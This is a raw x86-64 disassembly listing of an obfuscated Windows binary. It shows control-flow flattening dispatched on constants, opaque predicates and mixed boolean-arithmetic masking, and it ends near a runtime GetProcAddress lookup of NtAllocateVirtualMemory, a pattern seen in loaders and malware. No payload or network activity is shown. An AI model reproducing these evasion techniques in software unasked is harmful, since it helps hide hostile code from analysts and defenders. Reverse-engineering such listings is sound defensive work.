xor cl, al
test cl, 1
mov ecx, 0x26f8549f
mov ebp, 0x98e04cb9
cmovne ecx, ebp
test dl, 1
mov edx, ecx
mov ebp, 0x26f8549f
cmovne edx, ebp
jmp 0x1400b4fcb
cmp ecx, 0x629a5e24
jg 0x1400b0f0a
cmp ecx, 0x5e68f1eb
jg 0x1400b1d31
cmp ecx, 0x5c68698d
jg 0x1400b3c9c
cmp ecx, 0x5a681ad6
je 0x1400b7844
cmp ecx, 0x5bbd4c41
jne 0x1400aed20
mov ecx, dword [0x140265730]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xb8c1d50d
and ecx, eax
and eax, 0x473e2af2
or eax, edx
xor eax, 0x473e2af2
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xfffffffe
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x481b12f1
and ecx, eax
and eax, 0xb7e4ed0e
or eax, edx
mov edx, eax
xor edx, 0x8724c106
xor eax, 0x481b12f1
mov ebp, ecx
not ebp
mov ebx, eax
and ebx, 0x30ca2ca8
and edx, 0xcf35d357
or edx, ebx
or eax, ebp
and ebp, 0x30ca2ca8
and ecx, 0xcf35d357
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
sete cl
setne r8b
cmp dword [0x14026572c], 0xa
setl dl
mov ebx, edx
xor bl, r8b
xor bl, 1
mov eax, edx
or al, cl
xor al, 1
or al, bl
mov ebx, eax
xor bl, 1
or r8b, dl
xor cl, dl
and cl, dl
mov edx, r8d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r8b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, al
or al, dl
and dl, bl
or dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0x8153d0ad
mov ecx, 0xba4c7c0d
cmovne ebp, ecx
test dl, 1
mov ecx, ebp
mov edx, 0x8153d0ad
jmp 0x1400b75e5
cmp ecx, 0xdaad38a3
jg 0x1400b0f50
cmp ecx, 0xd6360823
jg 0x1400b1e08
cmp ecx, 0xd3715dda
jg 0x1400b3e01
cmp ecx, 0xd3490aa2
je 0x1400b785a
cmp ecx, 0xd34abcd8
jne 0x1400aed20
mov ecx, 0xcde1b211
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0x8fbf9a90
jg 0x1400b1ef0
cmp ecx, 0x8ee2202d
jg 0x1400b3e2f
cmp ecx, 0x8bb574cd
je 0x1400b787c
cmp ecx, 0x8ed325f0
jne 0x1400aed20
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xbe5e4e2a
and edx, ecx
and ecx, 0x41a1b1d5
or ecx, ebp
mov ebp, ecx
xor ebp, 0x1009094
xor ecx, 0xbe5e4e2a
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xeaad6d49
and ebp, 0x155292b6
or ebp, edi
or ecx, ebx
and ebx, 0xeaad6d49
and edx, 0x155292b6
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov esi, ecx
not esi
mov ebp, esi
and ebp, 0x40acd029
mov edx, ecx
xor edx, 0x40acd029
and edx, ecx
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
and ebp, 0xbbdc641
and edx, 0xf44239be
or edx, ebp
mov ebp, edx
xor ebp, 0x14e44102
and ecx, 0xd9bc2d3b
mov ebx, esi
and ebx, 0x2643d2c4
or ebx, ecx
xor ebx, 0xd9bc2d3a
and esi, 1
or esi, ebx
mov ecx, esi
not ecx
xor edx, 0x4b111669
mov ebx, edx
and ebx, 0xaa1bbafc
and ebp, 0x55e44503
or ebp, ebx
or edx, esi
and esi, 0xaa1bbafc
and ecx, 0x55e44503
or ecx, esi
xor ecx, ebp
not edx
or edx, ecx
mov ebp, edx
mov ecx, edx
xor ecx, 0x6ddab58d
and ecx, edx
not edx
and edx, 0xd103184
and ebp, 0x60ca8409
or ebp, edx
xor ebp, 0x60ca8409
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0x92254a72
and ecx, 0x6ddab58d
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xce7f1279
and ecx, 0x3180ed86
or ecx, ebp
xor ecx, 0xce7f1279
xor edx, ecx
test edx, ecx
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
and cl, al
and bl, r8b
and al, dl
or al, bl
xor cl, 1
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
xor dl, al
and al, dl
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0xdba00e86
mov ecx, 0x9e1ccee9
cmovne ebp, ecx
test dl, 1
mov ecx, 0xdba00e86
cmovne ecx, ebp
test al, al
jmp 0x1400bd41b
cmp ecx, 0xcc7bcdec
jg 0x1400b1f2a
cmp ecx, 0xcbcc4f0b
jg 0x1400b3fbe
cmp ecx, 0xcb53fc82
je 0x1400b7a08
cmp ecx, 0xcb88035b
jne 0x1400aed20
mov ecx, 0xd0b98c72
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0xfec5a0de
jg 0x1400b2049
cmp ecx, 0xfc03e209
jg 0x1400b405c
cmp ecx, 0xf9da0915
je 0x1400b7c27
cmp ecx, 0xfb468ad2
jne 0x1400aed20
mov ecx, 0x10bbf959
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0x4af0112d
jg 0x1400b2179
cmp ecx, 0x4a425089
jg 0x1400b416a
cmp ecx, 0x47012aa7
je 0x1400b7d1e
cmp ecx, 0x4a25de8a
jne 0x1400aed20
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, ecx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ebp, edx
not ebp
mov ecx, ebp
or ecx, 1
mov ebx, ecx
not ebx
and ebp, 0xfffffffe
and edx, 1
or edx, ebp
mov ebp, edx
not ebp
mov edi, ecx
and edi, 0x8339d3fb
and ebx, 0x7cc62c04
or ebx, edi
or ecx, ebp
and ebp, 0x8339d3fb
and edx, 0x7cc62c04
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xa90f43ca
and edx, ecx
and ecx, 0x56f0bc35
or ecx, ebp
mov ebp, ecx
xor ebp, 0x4601414
xor ecx, 0xa90f43ca
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xdb94eb63
and ebp, 0x246b149c
or ebp, edi
or ecx, ebx
and ebx, 0xdb94eb63
and edx, 0x246b149c
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x33b9c2ba
and ecx, 0xcc463d45
or ecx, ebp
xor ecx, 0x33b9c2ba
xor edx, ecx
test edx, ecx
setne r8b
sete r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg cl
mov eax, ecx
xor al, r10b
not al
and al, r10b
mov edx, ecx
or dl, r10b
xor al, 1
mov ebx, eax
xor bl, dl
or al, dl
xor al, 1
or al, bl
and r8b, r9b
or r9b, r10b
and cl, r10b
or cl, r8b
mov edx, r9d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r9b
xor cl, 1
or cl, dl
mov edx, eax
xor dl, 1
mov ebx, eax
and bl, dl
xor dl, cl
xor cl, 1
mov r8d, ebx
and r8b, al
xor bl, al
or bl, r8b
xor bl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0xdaad38a4
mov edx, 0x744021a3
cmovne eax, edx
test cl, 1
mov ecx, 0xdaad38a4
jmp 0x1400b6a0b
cmp ecx, 0xb5dc9395
jg 0x1400b21b3
cmp ecx, 0xb52e3a70
jg 0x1400b42a1
cmp ecx, 0xb2c6cb13
je 0x1400b7d34
cmp ecx, 0xb35ae277
jne 0x1400aed20
mov edx, dword [0x140265730]
mov ecx, dword [0x14026572c]
lea eax, [rdx - 1]
imul eax, edx
mov edx, eax
not edx
mov ebx, eax
or ebx, 1
mov ebp, ebx
not ebp
mov edi, eax
or edi, 0x19fed4a4
and ebx, 0x19fed4a4
and ebp, 0xe6012b5a
or ebp, ebx
and edi, 0x19fed4a5
xor edi, ebp
and edx, 0xd129d55e
and eax, 0x2ed62aa1
or eax, edx
mov edx, eax
xor edx, 0x2ed62aa1
xor eax, 0xd129d55e
and eax, edi
not edi
and edx, edi
or eax, edx
xor edi, eax
test edi, eax
sete al
setne r8b
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg dl
mov r9d, edx
or al, dl
and dl, r8b
xor r9b, r8b
or r9b, dl
or bl, r8b
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ecx, edx
xor dl, 1
and dl, r9b
xor r9b, 1
and cl, r9b
or dl, cl
mov ecx, r9d
xor cl, al
or al, r9b
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xeca8f179
mov ebp, 0xeb6f8ace
cmovne ecx, ebp
test al, 1
mov eax, 0xeca8f179
cmovne eax, ecx
test dl, dl
jmp 0x1400aed12
cmp ecx, 0x29f88c7f
jg 0x1400b22f8
cmp ecx, 0x2759d33f
jg 0x1400b42cf
cmp ecx, 0x256b133c
je 0x1400b7e99
cmp ecx, 0x26f8549f
jne 0x1400aed20
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0xfffffffe
and edx, ebp
not ebp
mov ebx, ebp
and ebx, 0xaa9f3064
and ecx, 0x5560cf9a
or ecx, ebx
xor ecx, 0x5560cf9a
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x7a4def37
and edx, 0x85b210c8
or edx, ecx
xor edx, 0x85b210c8
mov ecx, edx
and ecx, ebp
xor edx, ebp
or edx, ecx
cmp edx, 0xffffffff
sete r8b
setne r10b
cmp eax, 9
setg r9b
cmp eax, 0xa
setl al
mov ebx, r10d
or bl, al
xor bl, 1
mov ecx, r10d
xor cl, al
not cl
and cl, al
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
and r10b, al
and r9b, r8b
or r9b, r10b
mov edx, eax
xor dl, r8b
and al, r8b
or al, dl
xor al, 1
mov edx, r9d
and dl, al
xor al, r9b
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov r9d, ecx
xor r9b, 1
mov r8d, eax
xor r8b, 1
mov edx, r9d
and dl, cl
mov ebx, r8d
and bl, al
mov r10d, r9d
and r10b, dl
xor dl, r9b
or dl, r10b
xor bl, 1
mov r10d, eax
xor r10b, bl
or bl, al
xor bl, 1
or bl, r10b
xor bl, dl
xor r8b, r9b
or al, cl
xor al, 1
or al, r8b
mov ecx, eax
xor cl, bl
test cl, 1
mov ecx, 0xd15a7d7d
mov edx, 0x98e04cb9
cmovne ecx, edx
test al, 1
mov eax, 0xd15a7d7d
jmp 0x1400b6bcc
cmp ecx, 0x71f04baa
jg 0x1400b2332
cmp ecx, 0x6e524cbe
jg 0x1400b4309
cmp ecx, 0x6b465f88
je 0x1400b7f9a
cmp ecx, 0x6b6049a0
jne 0x1400aed20
mov ecx, 0x682fcf32
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0x8b2ee900
jg 0x1400b2435
cmp ecx, 0x8a5e1091
jg 0x1400b43fb
cmp ecx, 0x89d077ee
je 0x1400b7fb0
cmp ecx, 0x8a1db6ef
jne 0x1400aed20
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ecx, [rdx - 1]
imul ecx, edx
mov esi, ecx
not esi
mov ebx, esi
or ebx, 0xe0daf6e7
mov edx, ebx
not edx
mov edi, ecx
or edi, 0x1040018
and edi, 0x218cd63f
mov ebp, esi
and ebp, 0xc05220c0
or ebp, edi
and ebx, 0x218cd63f
and edx, 0x1e210900
or edx, ebx
xor edx, ebp
mov ebp, edx
not ebp
and ebp, 0x6501b032
and edx, 0x9afe4fcd
or edx, ebp
mov ebp, edx
xor ebp, 0x7a24b92b
and esi, 0xda84e8f4
and ecx, 0x257b170b
or ecx, esi
mov ebx, ecx
xor ebx, 0x257b170b
xor edx, 0x85db46d4
and ebx, edx
xor ecx, 0xda84e8f4
and ecx, ebp
or ecx, ebx
xor edx, ecx
test edx, ecx
sete cl
setne r8b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg r9b
mov ebx, r10d
and r10b, r8b
and r8b, r9b
and bl, cl
or bl, r8b
xor bl, 1
or bl, r9b
mov eax, ebx
not al
and cl, r9b
or r10b, cl
mov ecx, r10d
xor cl, 1
and al, bl
mov edx, r10d
and dl, cl
xor al, 1
mov r8d, eax
xor r8b, bl
or al, bl
xor al, 1
or al, r8b
mov r8d, edx
and r8b, r10b
xor dl, r10b
or dl, r8b
xor dl, al
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x8b2ee901
mov ebp, 0x1ed869b7
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
test al, 1
mov eax, 0x8b2ee901
jmp 0x1400bd5b0
cmp ecx, 0xca5402ed
jg 0x1400b2555
cmp ecx, 0xc8e5f429
jg 0x1400b4508
cmp ecx, 0xc6d8207a
je 0x1400b8148
cmp ecx, 0xc732eeda
jne 0x1400aed20
mov edx, dword [0x140265730]
mov r9d, dword [0x14026572c]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov edx, ebx
or edx, 0xc730b37d
mov ebp, edx
not ebp
mov ecx, ebx
xor ecx, 0x38cf4c82
and ecx, ebx
mov esi, ecx
not esi
mov eax, edx
and eax, 0x2340c160
and ebp, 0x188f0c82
or ebp, eax
or edx, esi
and esi, 0x2340c160
and ecx, 0xdcbf3e9f
or ecx, esi
xor ecx, ebp
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0xc730b37c
and edx, 0x38cf4c83
or edx, eax
and edi, 0x31d89963
and ebx, 0xce27669c
or ebx, edi
mov eax, ebx
xor eax, 0xce27669c
xor ebx, 0x31d89963
and ebx, edx
not edx
and eax, edx
or ebx, eax
xor edx, ebx
test edx, ebx
setne r8b
sete r10b
cmp r9d, 9
setg cl
cmp r9d, 0xa
setl r9b
mov r11d, r9d
xor r11b, cl
and r11b, r9b
mov eax, r10d
xor al, r8b
and al, r10b
mov ebx, eax
xor bl, 1
mov edx, ebx
or dl, al
xor al, dl
xor al, 1
or dl, bl
xor dl, 1
or dl, al
mov eax, edx
xor al, r11b
and dl, al
and al, r11b
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov ebx, ecx
xor bl, r8b
xor r9b, r10b
or cl, r8b
xor cl, 1
or cl, r9b
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, ecx
and bl, dl
xor cl, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, cl
mov r8d, ebx
and r8b, al
mov ecx, eax
xor cl, dl
or dl, al
xor al, 1
xor bl, 1
and bl, al
or bl, r8b
xor dl, 1
or dl, cl
mov eax, edx
xor al, bl
test dl, 1
mov ecx, 0xd540fcd1
mov edx, 0x6392e745
cmovne ecx, edx
test bl, 1
cmove ecx, edx
test al, 1
mov eax, 0xd540fcd1
jmp 0x1400bd5b0
cmp ecx, 0xf67b1432
jg 0x1400b2642
cmp ecx, 0xf4dadd3a
jg 0x1400b46aa
cmp ecx, 0xf18efce0
je 0x1400b815e
cmp ecx, 0xf488f953
jne 0x1400aed20
mov edx, dword [0x140265730]
mov r8d, dword [0x14026572c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x84f273a6
and ecx, 0x7b0d8c59
or ecx, edx
mov edx, ecx
not edx
and edx, 0x7b0d8c59
and ecx, 0x84f273a6
or ecx, edx
mov esi, ecx
not esi
mov ebp, ecx
xor ebp, 0x8e9fe110
and ebp, esi
mov edi, esi
or edi, 0x8e9fe110
mov edx, edi
not edx
mov ebx, ebp
not ebx
mov eax, ebx
and eax, 0xd2ba2161
and ebp, 0x2d45de9e
or ebp, eax
or ebx, edi
and edi, 0xd2ba2161
and edx, 0x21401e8e
or edx, edi
xor edx, ebp
not ebx
or ebx, edx
mov eax, ebx
not eax
and eax, 0x8ddbc7c9
and ebx, 0x72243836
or ebx, eax
xor ebx, 0xfcbbd927
and esi, 1
xor ecx, 0xfffffffe
or ecx, esi
not ecx
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x6db1dde0
and ecx, 0x924e221f
or ecx, edx
mov ebp, ecx
xor ebp, 0x1a
xor ecx, 0x41018000
or eax, 0xe345a2be
mov edx, eax
not edx
or ecx, 0x18a81441
and ecx, 0xdbedb645
and ebp, 0x200000ba
or ebp, ecx
and eax, 0xdbedb645
and edx, 0x4124900
or edx, eax
xor edx, ebp
mov eax, edx
not eax
and eax, 0x1cba5d41
and edx, 0xe345a2be
or edx, eax
mov eax, edx
not eax
and eax, 0x6e2059a1
and edx, 0x91dfa65e
or edx, eax
mov eax, edx
xor eax, 0x1092a64e
xor edx, 0x420008a1
and edx, 0xc34d08b1
and eax, 0x3cb2f74e
or eax, edx
xor eax, 0x3cb2f74e
setne r9b
sete r10b
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg bl
mov eax, ebx
and al, cl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
or cl, bl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
xor cl, r10b
mov r10d, ecx
xor r10b, 1
mov eax, ebx
xor al, r9b
or bl, r9b
xor bl, 1
or bl, al
xor al, 1
mov r8d, eax
xor r8b, bl
or bl, al
xor bl, 1
or bl, r8b
mov eax, ebx
xor al, 1
and r10b, cl
and al, bl
mov r8d, ecx
and r8b, r10b
xor r10b, cl
or r10b, r8b
mov r8d, ebx
and r8b, al
xor al, bl
or al, r8b
mov edx, r10d
xor dl, 1
and dl, al
xor al, 1
and al, r10b
or al, dl
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, ebx
xor cl, al
test bl, 1
mov edx, 0xbc25ae97
mov ebp, 0x47012aa7
cmovne edx, ebp
test al, 1
cmove edx, ebp
test cl, 1
mov eax, 0xbc25ae97
jmp 0x1400bd2f1
cmp ecx, 0x44a8ca9f
jg 0x1400b2720
cmp ecx, 0x432b9dd7
jg 0x1400b46d8
cmp ecx, 0x41840c2b
je 0x1400b8174
cmp ecx, 0x430c3ddf
jne 0x1400aed20
mov eax, dword [0x140265730]
mov esi, dword [0x14026572c]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov ebp, eax
and ebp, 0xa614f37b
mov edx, ebx
and edx, 0x59eb0c84
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x513027bf
and edx, 0xaecfd840
or edx, ebp
mov ebp, edx
xor ebp, 0x8b2238
xor edx, 0xf724d4c5
mov edi, edx
and edi, 0x6a741986
and ebp, 0x958be679
or ebp, edi
and ebx, 0x6a741986
and eax, 0x958be679
or eax, ebx
xor eax, ebp
xor edx, eax
test edx, eax
setne r8b
sete cl
cmp esi, 9
setg al
cmp esi, 0xa
setl bl
mov edx, ebx
xor dl, al
and dl, bl
mov ebx, ecx
xor bl, r8b
and bl, cl
xor bl, dl
mov r9d, ebx
xor r9b, 1
xor cl, al
and cl, al
xor al, r8b
mov edx, ecx
xor dl, 1
xor cl, al
xor al, 1
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
and al, r9b
or r9b, cl
and cl, bl
or cl, al
mov eax, r9d
xor al, cl
test cl, cl
mov ecx, 0xd34abcd8
mov ebp, 0xcde1b211
cmovne ecx, ebp
test r9b, 1
mov edx, 0xd34abcd8
jmp 0x1400bd0f1
cmp ecx, 0xa989fb85
jg 0x1400b275a
cmp ecx, 0xa8db373e
jg 0x1400b4806
cmp ecx, 0xa517df77
je 0x1400b8295
cmp ecx, 0xa5966ce8
jne 0x1400aed20
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea esi, [rdx - 1]
imul esi, edx
mov edi, esi
not edi
mov edx, edi
and edx, 0x5f62015a
mov ebp, esi
and ebp, 0xa09dfea5
or ebp, edx
mov edx, ebp
xor edx, 0x20146800
xor ebp, 0xc020110
mov ecx, edi
or ecx, 0x2f3e7992
mov ebx, ecx
not ebx
or ebp, 0x50808208
and ebp, 0x5c8a9398
and edx, 0x23346802
or edx, ebp
and ecx, 0x5c8a9398
and ebx, 0x80410465
or ebx, ecx
xor ebx, edx
mov ecx, ebx
not ecx
and ecx, 0xcca95785
and ebx, 0x3356a87a
or ebx, ecx
mov ecx, ebx
xor ecx, 0x1c68d1e9
xor ebx, 0xe3972e16
and edi, ebx
and ecx, esi
or ecx, edi
xor ebx, ecx
test ebx, ecx
sete cl
setne dl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl r9b
mov eax, r9d
xor al, dl
mov ebx, eax
xor bl, r8b
and bl, al
and dl, r9b
and cl, r8b
or cl, dl
mov r8d, ebx
xor r8b, 1
mov edx, ecx
xor dl, 1
mov eax, ecx
and al, dl
xor al, 1
mov r9d, eax
xor r9b, dl
or al, dl
xor al, 1
or al, r9b
and r8b, al
xor al, 1
and al, bl
or al, r8b
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xcc7bcded
mov ebp, 0x9fadf664
cmovne edx, ebp
test cl, cl
mov ecx, 0xcc7bcded
jmp 0x1400bc2ba
cmp ecx, 0x22c2e20c
jg 0x1400b28e3
cmp ecx, 0x2147973b
jg 0x1400b4834
cmp ecx, 0x1ed869b7
je 0x1400b82ab
cmp ecx, 0x20d689b8
jne 0x1400aed20
mov ecx, 0x29f88c80
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0x67417b64
jg 0x1400b291d
cmp ecx, 0x6392e744
jg 0x1400b4962
cmp ecx, 0x629a5e25
je 0x1400b82c1
cmp ecx, 0x63014df1
jne 0x1400aed20
mov ecx, 0xf4dadd3b
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0xde76f784
jg 0x1400b2b02
cmp ecx, 0xdba00e85
jg 0x1400b4990
cmp ecx, 0xdaad38a4
je 0x1400b82d7
cmp ecx, 0xdac8f158
jne 0x1400aed20
mov ecx, 0x6e77cf8a
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0xe2cd95d4
jg 0x1400b2cab
cmp ecx, 0xe1a4431e
je 0x1400b83e0
cmp ecx, 0xe1d12086
je 0x1400b84e7
cmp ecx, 0xe1e617d8
jne 0x1400aed20
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov ebp, ebx
and ebp, 0xb2266c40
mov edx, ecx
and edx, 0x4dd993bf
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x4dd993be
and edx, 0xb2266c41
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0xb42cddb0
and edx, 0x4bd3224f
or edx, ebp
xor edx, 0x4bd3224f
and ebx, 0x6f0f5e04
and ecx, 0x90f0a1fb
or ecx, ebx
xor ecx, 0x90f0a1fb
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x22d126d9
and ecx, 0xdd2ed926
or ecx, edx
xor ecx, 0xdd2ed926
sete cl
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
xor al, dl
xor al, 1
or al, bl
mov r8d, eax
xor r8b, 1
mov edx, ebx
xor dl, cl
not dl
and dl, cl
or bl, cl
xor bl, 1
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov ecx, ebx
xor cl, 1
and bl, al
or al, cl
and cl, r8b
or cl, bl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x22f6954
mov ebp, 0x88115e22
cmovne edx, ebp
test cl, 1
mov ecx, edx
mov ebp, 0x22f6954
cmovne ecx, ebp
jmp 0x1400bd1cd
cmp ecx, 0x92ee77ac
jg 0x1400b4b81
cmp ecx, 0x91aa78db
je 0x1400b867e
cmp ecx, 0x921c2810
jne 0x1400aed20
mov eax, dword [0x140265730]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0x9700404
and ecx, 0xb0875981
or ecx, eax
mov ebp, ecx
not ebp
xor ecx, 0xb702424
or edx, 0xb9f75d85
mov eax, edx
not eax
and ecx, 0x1b7775a5
and ebp, 0xa0800800
or ebp, ecx
and edx, 0x1b7775a5
and eax, 0x4408825a
or eax, edx
xor eax, ebp
mov ecx, eax
not ecx
and ecx, 0x4608a27a
and eax, 0xb9f75d85
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xfffffffe
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, ecx
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xe8ad0881
and eax, 0x1752f77e
or eax, edx
xor eax, 0xe8ad0881
xor ecx, eax
test ecx, eax
setne dl
cmp dword [0x14026572c], 0xa
setl bl
mov eax, ebx
xor al, dl
mov r8d, ebx
xor r8b, al
not r8b
and r8b, al
or dl, bl
not al
and al, bl
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov r9d, r8d
xor r9b, 1
mov ecx, eax
xor cl, 1
mov edx, r9d
and dl, r8b
mov ebx, ecx
and bl, al
mov r10d, r9d
and r10b, dl
xor dl, r9b
or dl, r10b
mov r10d, ecx
and r10b, bl
xor bl, cl
or bl, r10b
xor bl, dl
xor cl, r9b
or al, r8b
xor al, 1
or al, cl
mov edx, eax
xor dl, bl
test al, 1
mov ecx, 0xcd0d3086
mov eax, 0xc16a2793
cmovne ecx, eax
test bl, 1
cmove ecx, eax
test dl, 1
mov eax, 0xcd0d3086
jmp 0x1400bd5b0
cmp ecx, 0xcec85de4
jg 0x1400b4cc4
cmp ecx, 0xcde1b211
je 0x1400b87bc
cmp ecx, 0xce995851
jne 0x1400aed20
mov eax, dword [0x140265730]
lea ecx, [rax - 1]
imul ecx, eax
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x3a21810c
mov eax, ecx
and eax, 0x41e3220
or eax, edx
xor eax, 0x41e3220
mov edx, ecx
xor edx, 0x3e3fb32c
and edx, ecx
mov ebx, eax
and ebx, edx
xor edx, eax
or edx, ebx
mov eax, edx
not eax
and eax, 0x417bec8b
and edx, 0xbe841374
or edx, eax
mov eax, edx
xor eax, 0x80bba059
xor edx, 0x7f445fa6
and ebp, edx
and eax, ecx
or eax, ebp
not eax
or eax, edx
cmp eax, 0xffffffff
setne al
cmp dword [0x14026572c], 0xa
setl bl
mov edx, ebx
xor dl, al
mov ecx, ebx
xor cl, dl
not cl
and cl, dl
or al, bl
xor al, 1
not dl
and dl, bl
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
xor dl, cl
mov eax, edx
not al
and al, cl
mov ebx, edx
xor bl, al
test dl, dl
mov ecx, 0x5abc0d7
mov edx, 0xc8e63155
cmovne ecx, edx
test al, al
mov eax, 0x5abc0d7
cmove ecx, eax
jmp 0x1400bbe86
cmp ecx, 0x5abc0d6
jg 0x1400b4cf2
cmp ecx, 0x44b46ad
je 0x1400b899c
cmp ecx, 0x50c3381
jne 0x1400aed20
mov rcx, qword [rsp + 0x30]
lea rdx, str.NtAllocateVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0x798442bc
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0x508c8785
jg 0x1400b4def
cmp ecx, 0x4fae7dbf
je 0x1400b89b2
cmp ecx, 0x4ffbc76c
jne 0x1400aed20
mov ecx, dword [0x140265730]
mov r8d, dword [0x14026572c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
xor edx, 0x292ef6c4
and edx, ebp
not ebp
and ebp, 0x292ef6c4
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x8ad987ae
and edx, 0x75267851
or edx, ecx
mov edi, edx
xor edi, 0x5c088e95
mov ecx, edx
xor ecx, 0xa063114a
and ecx, 0xbc6b994f
xor edx, 0xe8a412b
and edx, edi
and edi, 0x439466b0
or edi, ecx
mov ecx, edi
xor ecx, 0x439466b0
mov ebx, edi
